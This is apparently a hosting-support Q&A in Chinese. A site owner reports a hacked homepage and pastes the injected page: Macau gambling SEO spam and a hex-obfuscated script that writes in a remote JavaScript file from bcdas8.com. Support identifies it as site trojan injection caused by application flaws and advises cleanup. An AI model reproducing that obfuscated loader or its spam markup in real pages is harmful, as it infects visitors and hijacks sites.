问:用了百度云加速,装了安全狗还是中arp病毒,频繁将我的首页改成index1.php,并生成一个index.html源码中有:
<title>新澳门葡京网址|新澳门葡京官方网站|澳门新葡京网站大全_官网</title>
<meta name="keywords" content="澳门葡京官网,葡京娱乐,澳门老葡京,葡京娱乐网,葡京网上娱乐,葡京,葡京棋牌,葡京国际娱乐场,葡京国际城,葡京国际,新葡京棋牌,澳门新葡京娱乐赌场,葡京娱乐场官网,葡京娱乐网站,线上葡京,澳门线上葡京,澳门上葡京,澳门上葡京线路检测,澳门上葡京亚洲最大,澳门上葡京网站" />
<meta name="description" content="新澳门葡京网址【xpj62a.com】主要经营用户管理、主机租用和服务器直销等的业务。所有系统主机位于中国电信机房,通过4XGE光纤直连ChinaNET骨干网,有效保障网络的稳定性和高速性。拥有一个团结,有战斗力的服务团队,、24小时不间断服务体系,为客户提供最高质量的网络服务。"/>
<script type="text/javascript">
window["\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74"]["\\x77\\x72\\x69\\x74\\x65"]('\\x3c\\x73\\x63\\x72\\x69\\x70\\x74 \\x74\\x79\\x70\\x65\\x3d\\x22\\x74\\x65\\x78\\x74\\x2f\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x22 \\x73\\x72\\x63\\x3d\\x22\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x62\\x63\\x64\\x61\\x73\\x38\\x2e\\x63\\x6f\\x6d\\x2f\\x78\\x70\\x6a\\x36\\x32\\x2e\\x6a\\x73\\x22\\x3e\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e');
</script>
,用了百度云加速,装了安全狗还是中arp病毒
问:找了很久没见到病毒源,有人说可能是机房中了病毒,我成了攻击对像了。
答:您好,1、查看到您反馈的情况是您的网站程序被挂马,这个挂马只是挂马内容被转换成了url编码,请核实,并非arp中毒,请核实。
2、一般网站被挂马大部分都是由于网站程序存在漏洞导致,目前没有查看到您的服务器上存在异常进程,请核实。
3、建议联系程序提供商为您核实清理挂马,并修复网站程序漏洞避免再次被挂马。
非常感谢您长期对我司的支持!